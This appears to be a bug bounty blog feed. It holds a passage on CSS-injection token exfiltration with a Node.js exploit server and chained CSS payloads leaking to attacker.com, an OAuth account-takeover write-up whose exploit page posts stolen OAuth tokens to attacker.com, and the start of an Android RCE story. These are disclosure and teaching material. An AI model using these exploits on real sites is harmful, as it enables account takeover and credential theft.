<p>For example, if I opened <code>https://target.com/add-group/[groupname]/add?name=canary</code>, the script source would change to:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text/javascript"</span> <span class="hljs-attr">async</span>=<span class="hljs-string">""</span> 
<span class="hljs-attr">src</span>=<span class="hljs-string">"https://googleads.g.doubleclick.net/.../?random=17...%26name%3Dcanary"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>Please pay attention to <code>%26name%3Dcanary</code>. So far, I had:</p>
<ul>
<li><p>CSS injection which can be used to exfiltrate data</p>
</li>
<li><p>Sandbox source with added query string</p>
</li>
</ul>
<p>There's nothing special here because if I give a victim a link with parameters and then use a CSS technique to extract those known parameter values, it's like I'm attacking myself. Here, I explored the less common OAuth path. What if I could set <code>https://target.com/add-group/[groupname]/add</code> as the OAuth redirect URL? I would redirect the victim to the CSS injection page with their OAuth token, and that's exactly what happened to me:</p>
<pre><code class="lang-plaintext">https://auth.redacted.com/login?redirect_uri=https://target.com/add-group/[groupname]/add&amp;...
</code></pre>
<p>As soon as the victim opened the link, they would be taken to:</p>
<pre><code class="lang-plaintext">https://target.com/add-group/[groupname]/add?auth_token=TOKEN&amp;...
</code></pre>
<p>Which resulted in the following source:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text/javascript"</span> <span class="hljs-attr">async</span>=<span class="hljs-string">""</span> 
<span class="hljs-attr">src</span>=<span class="hljs-string">"https://googleads.g.doubleclick.net/.../?random=17...%26auth_token%3DTOKEN"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>Equipped with the <code>&lt;style&gt;</code> tag injection:</p>
<pre><code class="lang-xml">https://auth.redacted.com/login?redirect_uri=
https://target.com/add-group/[groupname]/add&amp;...
&amp;%253Cstyle%253Ebody{background-color:black;}%253C%2Fstyle%253E%26...
</code></pre>
<p>Everything was ok, I started writing an exploit code to exfiltrate Auth token.</p>
<h2 id="heading-exfiltration-oauth-token">Exfiltration OAuth Token</h2>
<p>I used <a target="_blank" href="https://github.com/hackvertor/blind-css-exfiltration/tree/main">Gareth’s exploit repository</a> and spent several hours without any results. To figure out what was happening, I set up a <a target="_blank" href="https://github.com/VoorivexTeam/CSS-Exfiltration/blob/main/index.html">test environment</a> to run the exploit. It didn’t work. I thought I should use the <code>&lt;input&gt;</code> tag, so I edited my test file to:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">"utf-8"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"viewport"</span> <span class="hljs-attr">content</span>=<span class="hljs-string">"width=device-width, initial-scale=1"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>OAuth Page<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">form</span> <span class="hljs-attr">action</span>=<span class="hljs-string">"/blahblah"</span> <span class="hljs-attr">method</span>=<span class="hljs-string">"post"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"hidden"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"mytoken"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"ddaf35a193617abacc417349ae204"</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">form</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">style</span>&gt;</span><span class="css"><span class="hljs-keyword">@import</span> <span class="hljs-string">'https://portswigger-labs.net/blind-css-exfiltration/start'</span>;</span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span>

<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<p>It wasn't successful again, and the source code was too complex to edit. I searched Google to find the exact exploit flow and found an <a target="_blank" href="https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b">outstanding post</a> by <a target="_blank" href="https://x.com/d0nutptr">@d0nutptr</a>. The final exploit was also complicated, which forced me to learn how to code my own exploit. However, I got the main idea from the blog post: <strong>Sequential Import Chaining</strong>. The overall flow is to import a URL in the beginning of the exploit:</p>
<pre><code class="lang-css"><span class="hljs-keyword">@import</span> url(<span class="hljs-attribute">https:</span>//attacker.com/next);

<span class="hljs-selector-tag">html</span><span class="hljs-selector-pseudo">:has(script</span><span class="hljs-selector-attr">[src*=<span class="hljs-string">"token=00"</span>]</span>) <span class="hljs-selector-tag">div</span> {
    <span class="hljs-attribute">background</span>: <span class="hljs-built_in">url</span>(https://attacker.com/leak?chars=<span class="hljs-number">00</span>) <span class="hljs-meta">!important</span>; 
    <span class="hljs-attribute">display</span>: block <span class="hljs-meta">!important</span>;
}
<span class="hljs-selector-tag">html</span><span class="hljs-selector-pseudo">:has(script</span><span class="hljs-selector-attr">[src*=<span class="hljs-string">"token=01"</span>]</span>) <span class="hljs-selector-tag">div</span> {
    <span class="hljs-attribute">background</span>: <span class="hljs-built_in">url</span>(https://attacker/leak?chars=<span class="hljs-number">01</span>) <span class="hljs-meta">!important</span>; 
    <span class="hljs-attribute">display</span>: block <span class="hljs-meta">!important</span>;
}
...
...
...
<span class="hljs-selector-tag">html</span><span class="hljs-selector-pseudo">:has(script</span><span class="hljs-selector-attr">[src*=<span class="hljs-string">"token=-z"</span>]</span>) <span class="hljs-selector-tag">div</span> {
    <span class="hljs-attribute">background</span>: <span class="hljs-built_in">url</span>(https://attacker.com/leak?chars=-z) <span class="hljs-meta">!important</span>; 
    <span class="hljs-attribute">display</span>: block <span class="hljs-meta">!important</span>;
}
<span class="hljs-selector-tag">html</span><span class="hljs-selector-pseudo">:has(script</span><span class="hljs-selector-attr">[src*=<span class="hljs-string">"token=--"</span>]</span>) <span class="hljs-selector-tag">div</span> {
    <span class="hljs-attribute">background</span>: <span class="hljs-built_in">url</span>(https://attacker.com/leak?chars=--) <span class="hljs-meta">!important</span>; 
    <span class="hljs-attribute">display</span>: block <span class="hljs-meta">!important</span>;
}
</code></pre>
<p>The flow is straightforward, the first line will not return response until <code>/leak</code> is called. /leak is called once the matcher matches the first correct two bytes of the token. only one of the matchers will match, for example if the token is <code>494daa91-2ed4-4132-9e06-b4a5d696750e</code>, the following line will executed:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">html</span><span class="hljs-selector-pseudo">:has(script</span><span class="hljs-selector-attr">[src*=<span class="hljs-string">"token=49"</span>]</span>) <span class="hljs-selector-tag">div</span> {
    <span class="hljs-attribute">background</span>: <span class="hljs-built_in">url</span>(https://attacker.com/leak?chars=<span class="hljs-number">49</span>) <span class="hljs-meta">!important</span>; 
    <span class="hljs-attribute">display</span>: block <span class="hljs-meta">!important</span>;
}
</code></pre>
<p>Afterwards, the server responds <code>https://attacker.com/next</code> with the following content:</p>
<pre><code class="lang-css"><span class="hljs-keyword">@import</span> url(<span class="hljs-attribute">https:</span>//attacker.com/next);

<span class="hljs-selector-tag">html</span><span class="hljs-selector-pseudo">:has(script</span><span class="hljs-selector-attr">[src*=<span class="hljs-string">"token=4900"</span>]</span>) <span class="hljs-selector-tag">div</span> {
    <span class="hljs-attribute">background</span>: <span class="hljs-built_in">url</span>(https://attacker.com/leak?chars=<span class="hljs-number">4900</span>) <span class="hljs-meta">!important</span>; 
    <span class="hljs-attribute">display</span>: block <span class="hljs-meta">!important</span>;
}
<span class="hljs-selector-tag">html</span><span class="hljs-selector-pseudo">:has(script</span><span class="hljs-selector-attr">[src*=<span class="hljs-string">"token=4900"</span>]</span>) <span class="hljs-selector-tag">div</span> {
    <span class="hljs-attribute">background</span>: <span class="hljs-built_in">url</span>(https://attacker.com/leak?chars=<span class="hljs-number">4901</span>) <span class="hljs-meta">!important</span>; 
    <span class="hljs-attribute">display</span>: block <span class="hljs-meta">!important</span>;
}
...
</code></pre>
<p>It goes recursively until the token is extracted.</p>
<h2 id="heading-specificity-issue">Specificity Issue</h2>
<p>There was a problem in my exploit code. When a character is found, the next CSS URL loads on the page, but the new CSS rules have lower priority than the old ones. As a result, the page continues using the old CSS rules instead of applying the new ones, causing the exploit to fail. This is called <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_cascade/Specificity">CSS Specificity</a>. For a better understanding, please run <a target="_blank" href="https://github.com/VoorivexTeam/CSS-Exfiltration/tree/main/priority">this code</a> on a simple web server. The <code>div</code>'s color will be red:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739632230938/ce0a7017-baf3-4670-944a-f83c9faab918.png" alt class="image--center mx-auto" /></p>
<p>Now, run the <a target="_blank" href="https://github.com/VoorivexTeam/CSS-Exfiltration/tree/main/priority-ok">second code</a> which includes <code>is(div)</code>. This change makes the <code>div</code>'s color blue because the priority is adjusted. So, I added <code>is(div)</code> to the exploit for the first round, and then added an extra <code>is(div)</code> each round to ensure it works correctly:</p>
<pre><code class="lang-css"><span class="hljs-keyword">@import</span> url(<span class="hljs-attribute">https:</span>//attacker.com/next);

<span class="hljs-selector-tag">html</span><span class="hljs-selector-pseudo">:has(script</span><span class="hljs-selector-attr">[src*=<span class="hljs-string">"token=49"</span>]</span>) <span class="hljs-selector-tag">div</span><span class="hljs-selector-pseudo">:is(div)</span> {
    <span class="hljs-attribute">background</span>: <span class="hljs-built_in">url</span>(https://attacker.com/leak?chars=<span class="hljs-number">4900</span>) <span class="hljs-meta">!important</span>; 
    <span class="hljs-attribute">display</span>: block <span class="hljs-meta">!important</span>;
}
</code></pre>
<p>Next round (next two characters):</p>
<pre><code class="lang-javascript">html:has(script[src*=<span class="hljs-string">"token=494d"</span>]) div:is(div):is(div) {
    <span class="hljs-attr">background</span>: url(https:<span class="hljs-comment">//attacker.com/leak?chars=494d) !important; </span>
    display: block !important;
}
</code></pre>
<p>Next round (next two characters):</p>
<pre><code class="lang-javascript">html:has(script[src*=<span class="hljs-string">"token=494daa"</span>]) div:is(div):is(div):is(div) {
    <span class="hljs-attr">background</span>: url(https:<span class="hljs-comment">//attacker.com/leak?chars=494daa) !important; </span>
    display: block !important;
}
</code></pre>
<p>It continues until the end.</p>
<h2 id="heading-putting-all-together">Putting All Together</h2>
<p>Here is the final <a target="_blank" href="https://github.com/VoorivexTeam/CSS-Exfiltration/blob/main/exploit.js">exploit code</a>. To use it, edit the following properties:</p>
<ul>
<li><p><code>HOSTNAME</code>: the location where the exploit code is hosted</p>
</li>
<li><p><code>prefix</code>: the prefix of the data you want to extract</p>
</li>
<li><p><code>html:has(script[src*=</code>: replace with the correct selector</p>
</li>
</ul>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> http = <span class="hljs-built_in">require</span>(<span class="hljs-string">'http'</span>);
<span class="hljs-keyword">const</span> url = <span class="hljs-built_in">require</span>(<span class="hljs-string">'url'</span>);
<span class="hljs-keyword">const</span> port = <span class="hljs-number">3000</span>;

<span class="hljs-keyword">const</span> HOSTNAME = <span class="hljs-string">"http://localhost:3000"</span>;
<span class="hljs-keyword">const</span> CHARS = <span class="hljs-string">'0123456789abcdefghijklmnopqrstuvwxyz-'</span>.split(<span class="hljs-string">''</span>);

<span class="hljs-keyword">const</span> DEBUG = <span class="hljs-literal">false</span>;

<span class="hljs-keyword">var</span> prefix = <span class="hljs-string">"&amp;auth_token="</span>;
<span class="hljs-keyword">var</span> leaked_data = <span class="hljs-string">""</span>;

<span class="hljs-keyword">var</span> pendingResponse = <span class="hljs-literal">null</span>;
<span class="hljs-keyword">var</span> stop = <span class="hljs-literal">false</span>,
    n = <span class="hljs-number">0</span>;

<span class="hljs-keyword">const</span> requestHandler = <span class="hljs-function">(<span class="hljs-params">request, response</span>) =&gt;</span> {
    <span class="hljs-keyword">let</span> req = url.parse(request.url, <span class="hljs-literal">true</span>);
    log(<span class="hljs-string">'\treq: %s'</span>, request.url);

    <span class="hljs-keyword">if</span> (stop) {
        <span class="hljs-keyword">return</span> response.end();
    }

    <span class="hljs-keyword">if</span> (req.pathname === <span class="hljs-string">'/start'</span>) {
        genResponse(response);
    } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (req.pathname === <span class="hljs-string">'/leak'</span>) {
        response.end();

        <span class="hljs-keyword">if</span> (req.query.chars) {
            leaked_data += req.query.chars;

            <span class="hljs-keyword">if</span> (pendingResponse) {
                genResponse(pendingResponse);
                pendingResponse = <span class="hljs-literal">null</span>;
            }

            <span class="hljs-keyword">if</span> (leaked_data.length === <span class="hljs-number">36</span>) {
                process.stdout.write(<span class="hljs-string">'\n'</span>);
                process.exit(<span class="hljs-number">1</span>);
            }
        }
    } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (req.pathname === <span class="hljs-string">'/next'</span>) {
        pendingResponse = response;
    } <span class="hljs-keyword">else</span> {
        response.end();
    }
};

<span class="hljs-keyword">const</span> genResponse = <span class="hljs-function">(<span class="hljs-params">response</span>) =&gt;</span> {
    process.stdout.clearLine(<span class="hljs-number">0</span>);
    process.stdout.cursorTo(<span class="hljs-number">0</span>);
    process.stdout.write(<span class="hljs-string">`Leaked: <span class="hljs-subst">${leaked_data}</span>`</span>);

    <span class="hljs-keyword">let</span> css = <span class="hljs-string">`@import url(<span class="hljs-subst">${HOSTNAME}</span>/next?<span class="hljs-subst">${<span class="hljs-built_in">Math</span>.random()}</span>);`</span> +
        CHARS.map(<span class="hljs-function"><span class="hljs-params">e</span> =&gt;</span> 
            CHARS.map(<span class="hljs-function"><span class="hljs-params">f</span> =&gt;</span> 
                <span class="hljs-string">`html:has(script[src*="<span class="hljs-subst">${prefix + leaked_data}</span><span class="hljs-subst">${e}</span><span class="hljs-subst">${f}</span>"]) div<span class="hljs-subst">${<span class="hljs-string">':is(div)'</span>.repeat(n + <span class="hljs-number">1</span>)}</span> {
                    background: url(<span class="hljs-subst">${HOSTNAME}</span>/leak?chars=<span class="hljs-subst">${e}</span><span class="hljs-subst">${f}</span>&amp;cb=<span class="hljs-subst">${<span class="hljs-built_in">Math</span>.random()}</span>) !important; 
                    display: block !important;
                }`</span>
            )
        ).flat().join(<span class="hljs-string">''</span>);

    response.writeHead(<span class="hljs-number">200</span>, { <span class="hljs-string">'Content-Type'</span>: <span class="hljs-string">'text/css'</span> });
    response.write(css);
    response.end();

    n++;
};

<span class="hljs-keyword">const</span> server = http.createServer(requestHandler);

server.listen(port, <span class="hljs-function">(<span class="hljs-params">err</span>) =&gt;</span> {
    <span class="hljs-keyword">if</span> (err) {
        <span class="hljs-keyword">return</span> <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'[-] Error: something bad happened'</span>, err);
    }

    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'[+] Server is listening on %d'</span>, port);
});

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">log</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">if</span> (DEBUG) <span class="hljs-built_in">console</span>.log.apply(<span class="hljs-built_in">console</span>, <span class="hljs-built_in">arguments</span>);
}
</code></pre>
<p>I suggest running the code on your own web server to see how the exploit works. I hope you find this write-up useful. Thank you.</p>
]]></content:encoded></item><item><title><![CDATA[OAuth Non-Happy Path to ATO]]></title><description><![CDATA[A few months ago, I was working on a public bug bounty program, and there was an OAuth implementation for users to log in and sign up.
Introduction
First of all, before you start reading this blog post, you should be familiar with some concepts:
Happ...]]></description><link>https://blog.voorivex.team/oauth-non-happy-path-to-ato</link><guid isPermaLink="true">https://blog.voorivex.team/oauth-non-happy-path-to-ato</guid><category><![CDATA[bugbounty]]></category><category><![CDATA[oauth]]></category><category><![CDATA[account takeover]]></category><dc:creator><![CDATA[Omid Rezaei]]></dc:creator><pubDate>Fri, 22 Nov 2024 20:30:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1726591466698/5b401969-69d4-47a2-ba44-93bbd2bab6b2.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>A few months ago, I was working on a public bug bounty program, and there was an OAuth implementation for users to log in and sign up.</p>
<h2 id="heading-introduction">Introduction</h2>
<p>First of all, before you start reading this blog post, you should be familiar with some concepts:</p>
<p><strong>Happy Path</strong> definition according <strong>to</strong> <a target="_blank" href="https://en.wikipedia.org/wiki/Happy_path"><strong>Wikipedia</strong></a><strong>:</strong></p>
<blockquote>
<p>In the context of software or information modeling, a happy path (sometimes called happy flow) is a default scenario featuring no exceptional or error conditions. For example, the happy path for a function validating credit card numbers would be where none of the validation rules raise an error, thus letting execution continue successfully to the end, generating a positive response.</p>
</blockquote>
<p><strong>Non-Happy Paths</strong> definition based on Frans Rosen's write-up:</p>
<blockquote>
<p>First, let’s explain the various ways to break the OAuth-dance. When I mean break, I mean causing a difference between the OAuth-provider issuing valid codes or tokens, but the website that gets the tokens from the provider is not successfully receiving and handling the tokens. I’ll refer to this below as a “non-happy path.</p>
</blockquote>
<p>The "Dirty Dancing" write-up by Frans is one of the sources that inspired me to look into different OAuth implementations and expand my focus on Authorization and Authentication features to increase my attack surfaces in web and mobile applications.</p>
<p>let’s go back to Target</p>
<h2 id="heading-oauth-flow-of-the-target"><strong>OAuth Flow of the Target</strong></h2>
<p>I started working with OAuth functionality to understand the happy path and conduct some testing to find the non-happy path. So, I drew a diagram to show exactly what happened in the flow:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728073019425/15bb6644-8d22-4e1b-aa30-349ce7fe5f1c.png" alt class="image--center mx-auto" /></p>
<p>As you can see in the callback section the green path is the happy path that the programmer expects:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1724220171029/1079e4f7-d17d-42eb-acde-541401901afa.png" alt="Helllo" class="image--center mx-auto" /></p>
<p>The red one is an non-happy path where the application continues with a different flow. If the conditions are not met, for example, missing a parameter or its value, the application will show weird behavior. So here, we as hunters love this weird behavior:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1724220247685/68598c51-c0d5-4c3c-8d7b-e69fb724d14e.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-open-redirect-referer-based"><strong>Open Redirect Referer Based</strong></h2>
<p>Here, I spent several hours figuring out this behavior further. As observed, in the other flow, the web application (not the OAuth provider) redirects the user to the <code>referer</code> value without any parameter. This behavior is not a vulnerability, but it is not a common way for error handling. As a hunter, when I face these situations, I dig a little bit to discover something new.</p>
<h2 id="heading-conditions-to-be-vulnerable"><strong>Conditions to be Vulnerable</strong></h2>
<p>Here are the conditions for the web application to be vulnerable:</p>
<ul>
<li><p>We cannot force users to redirect with parameters</p>
</li>
<li><p>The application must go through the other flow to redirect based on the referer</p>
</li>
<li><p>In the last step of the flow the <code>referer</code> must be the attacker-control <code>referer</code></p>
</li>
<li><p>In order to take over a victim’s account, the <code>code</code> should be stolen</p>
</li>
</ul>
<h2 id="heading-fragment-redirect">Fragment Redirect</h2>
<p>There are two common ways to redirect users: server-side and client-side. In the first method, when a user is redirected to another website, the fragment part of the URL remains unchanged, however, in a client-side redirect, the fragment part of the URL is removed with each redirect:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731315330876/4eb0b89d-52fe-4aea-908c-3248c31b344d.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-response-type"><strong>Response Type</strong></h2>
<p>To achieve the non-happy path (the red one in the diagram), I needed to force the application to derail from its normal behavior. So, I tried changing the <code>response_type</code> parameter from <code>code</code> to <code>id_token</code> (I learned the technique from <a target="_blank" href="https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/">here</a>), and I was able to enter the other flow. In the other flow, surprisingly and unexpectedly, the access token was placed in the URL fragment section:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731315515124/9c915fad-3da2-41d0-9c40-e0f5ece14705.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-referer-research"><strong>Referer Research</strong></h2>
<p>In the terms of referer, I conducted a small research to find out the HTTP and browsers behavior. I reached the following:</p>
<blockquote>
<p>If I open <code>attacker.com</code> and it contains <code>window.open(‘google.com‘)</code> and it redirects me to the <code>x.com</code> by <code>3xx</code> status code, the x.com will see the referer as <code>attacker.com</code>. it does not limited to one redirect, can be multiple, w → x → y → z and the <code>z</code> will see the referer as <code>w</code></p>
</blockquote>
<p>For the better understanding I drew a diagram:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728063263872/31c22ade-2cc5-40e8-b2a6-2a5bfe3e7e00.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-three-oauth-providers"><strong>Three OAuth Providers</strong></h2>
<p>I initiated the OAuth flow of three providers (Facebook, Google, GitHub) that the website uses to figure out whether it can be exploited or not.</p>
<h3 id="heading-facebook"><strong>Facebook</strong></h3>
<p>In the Facebook OAuth flow, I noticed that there is always a confirmation step at the end. It requires the user to stop and click on the confirmation to proceed, which changes the referrer to <a target="_blank" href="http://facebook.com"><code>facebook.com</code></a> and makes it non-exploitable:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1724768770678/3f32d899-dbb3-43d6-80f0-8b356e6329c3.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-github"><strong>Github</strong></h3>
<p>In the <a target="_blank" href="https://docs.github.com/en/apps/oauth-apps/building-oauth-apps/authorizing-oauth-apps#web-application-flow">Github OAuth flow</a>, we don't have a <code>response_type</code> parameter to manipulate to achieve changing the authentication flow, so I skipped it.</p>
<p><img src="https://en.meming.world/images/en/thumb/a/a3/We_Don%27t_Do_That_Here.jpg/300px-We_Don%27t_Do_That_Here.jpg" alt="We Don't Do That Here - Meming Wiki" class="image--center mx-auto" /></p>
<h3 id="heading-google"><strong>Google</strong></h3>
<p>In the Google OAuth flow, everything was ready to exploit. We were able to start the authentication flow with <code>window.open</code> and use different <code>response_type</code> values like <code>id_token</code> and <code>code</code>.</p>
<p>However, there was a problem: when the user had multiple Google accounts in the browser, the page would prompt the user to select an account.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731316026594/9c34aaf1-4ee3-4318-852c-f5e720fa269d.png" alt class="image--center mx-auto" /></p>
<p>This interruption caused the referrer to change to <a target="_blank" href="http://accounts.google.com"><code>accounts.google.com</code></a>, making it non-exploitable. The solution was to use the <code>prompt=none</code> parameter for users who had previously logged in with Google, which bypassed the account selection step and completed the flow automatically.</p>
<h2 id="heading-what-do-we-have-so-far"><strong>What do we have so far?</strong></h2>
<p>if you remember we have a few challenges to exploit this, so we solve all of them:</p>
<ul>
<li><p>We cannot force users to redirect with parameters</p>
<p>  → <mark>we can redirect fragments</mark></p>
</li>
<li><p>The application must go through the other flow to redirect based on the referer<br />  → <mark>the response_type does that</mark></p>
</li>
<li><p>In the last step of the flow, the referer must be the attacker-control referer</p>
<p>  → <mark>window.opener + 3xx status code redirect</mark></p>
</li>
<li><p>In order to take over a victim’s account, the code should be stolen</p>
<p>  → <mark>not solved yet, let’s go through it</mark></p>
</li>
</ul>
<h2 id="heading-implementation-of-oauth"><strong>Implementation of OAuth</strong></h2>
<p>So far, we can exploit the victim and steal the <code>state</code> and <code>id_token</code>.</p>
<p>Can we take over the victim's account with the <code>id_token</code>? What do you think?</p>
<p>The answer is NO; we need the authorization code to take over.</p>
<p>So, a simple question arises: why?</p>
<p>Unfortunately, the <code>id_token</code> was useless since the application didn’t have backend code to authenticate users with it. you can find the answer in this diagram.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731316203103/959d20da-de4b-40ad-938c-201b6388a848.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-comma"><strong>Comma</strong></h2>
<p>However, I didn't quit and started digging more into the concepts. While doing some research, I found something very interesting in Google OAuth. I noticed that we can use multiple <code>response_type</code> values in Google OAuth. For example, we can use something like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731316323406/fdebfec8-5a1c-4d65-b51f-c6321fa9cf81.png" alt class="image--center mx-auto" /></p>
<p>So I tried it and started the OAuth flow with <code>response_type=code,id_token</code> parameters, and after the flow ended, the result was like this:</p>
<pre><code class="lang-plaintext">attacker.com#state=STATE&amp;id_token=TOKEN&amp;state=STATE&amp;code=CODE
</code></pre>
<p>So, after a long journey, I was able to take over the victim's account.</p>
<h2 id="heading-exploitation-flow"><strong>Exploitation: Flow</strong></h2>
<p>so the exploit flow looks like this,</p>
<ol>
<li><p>the attacker sends a malicious link to the victim.</p>
</li>
<li><p>the victim opens the malicious link and an opener starts the Google OAuth flow with <code>response_type=id_token,code&amp;prompt=none</code> as additional parameters.</p>
</li>
<li><p>In the opener, after the provider authorizes the victim, it sends them back to the value of the <code>redirect_uri</code> parameter, which is a target website.</p>
</li>
<li><p>Due to the non-happy path, the victim is redirected to the attacker's website with everything the attacker needs in the fragment section.</p>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731316422739/22f91017-78f6-4a99-89f6-9404c39598ed.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-exploitation-code"><strong>Exploitation: Code</strong></h2>
<pre><code class="lang-javascript">&lt;!DOCTYPE html&gt;
&lt;html lang="en"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;
    &lt;title&gt;Attacker Website&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;input type="button" value="exploit" onclick="exploit()"&gt;
    &lt;script&gt;
        function exploit() {
            window.open("https://accounts.google.com/o/oauth2/auth?client_id=&amp;redirect_uri=https://target.com/api/v1/oauth/google/callback/login&amp;scope=https://www.googleapis.com/auth/userinfo.profile%20https://www.googleapis.com/auth/userinfo.email&amp;state=&amp;response_type=id_token,code&amp;prompt=none", "", "width=10, height=10");
        }

        window.addEventListener('load', () =&gt; {
            const fragment = window.location.hash;
            if (fragment) {
                const encodedFragment = encodeURIComponent(fragment);
                fetch('https://attacker.com/save_tokens', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/x-www-form-urlencoded',
                    },
                    body: `${encodedFragment}`,
                });
            }
        });
    &lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>don't forget that this complexity is made up of small components, and understanding how these pieces work together is what leads to vulnerabilities. finally, I reported it, and after a week of explaining this to the company's security team, they finally marked it as TRIAGE. they changed the attack complexity from LOW to HIGH because not every user connects their Google account to their account. As a result, the CVSS score changed from 8.8 to about 7.7, and I received about $3000 bounty for that.</p>
]]></content:encoded></item><item><title><![CDATA[From an Android Hook to RCE: $5000 Bounty]]></title><description><![CDATA[Hello, today I want to share a research-based story about how I reverse-engineered a famous Android application called MyIrancell. I managed to achieve RCE, reported it to the vendor, and earned a bounty. A few days ago, I received permission from th...]]></description><link>https://blog.voorivex.team/from-an-android-hook-to-rce-5000-bounty</link><guid isPermaLink="true">https://blog.voorivex.team/from-an-android-hook-to-rce-5000-bounty</guid><category><![CDATA[bugbounty]]></category><category><![CDATA[Android]]></category><category><![CDATA[RCE]]></category><dc:creator><![CDATA[Voorivex]]></dc:creator><pubDate>Tue, 19 Nov 2024 15:12:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1731333582605/00685273-bbb7-400e-b255-06a98b0f1fae.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hello, today I want to share a research-based story about how I reverse-engineered a famous Android application called <a target="_blank" href="https://play.google.com/store/apps/details?id=com.myirancell&amp;hl=en_US&amp;pli=1">MyIrancell</a>. I managed to achieve RCE, reported it to the vendor, and earned a bounty. A few days ago, I received permission from the security team to write about it, and now I'm publishing the walkthrough. Here are several reasons why I think you should keep reading this post:</p>
<ul>
<li><p>The Android application is one of the most installed applications in Iran and belonged to a <a target="_blank" href="https://hackerone.com/mtn_group">Irancell</a>, a telecommunications company with roughly 148 million subscribers</p>
</li>
<li><p>The application had been tested by many well-known penetration testing companies before I began working on it. Honestly, they were shocked when I reported the vulnerability with critical severity</p>
</li>
<li><p>To achieve RCE, I conducted a bit of related research, which I believe every skilled hunter should be able to do while actively hunting their target</p>
</li>
<li><p>This was an unusual RCE case which I'd never seen before; I managed to trick a headless browser into running arbitrary JavaScript code server-side</p>
</li>
<li><p>In order to intercept network traffic, I should have opened two encryption layers:</p>
<ul>
<li><p>a normal TLS layer, which is used in widespread applications</p>
</li>
<li><p>an extra AES implementation with a random key for each user</p>
</li>
</ul>
</li>
<li><p>The RCE was blind, and the remote server didn't have an internet connection, so I couldn't send data back by HTTP. Surprisingly, I could make a DNS tunnel to exfiltrate the data</p>
</li>
</ul>
<h2 id="heading-capturing-the-traffic">Capturing the Traffic</h2>
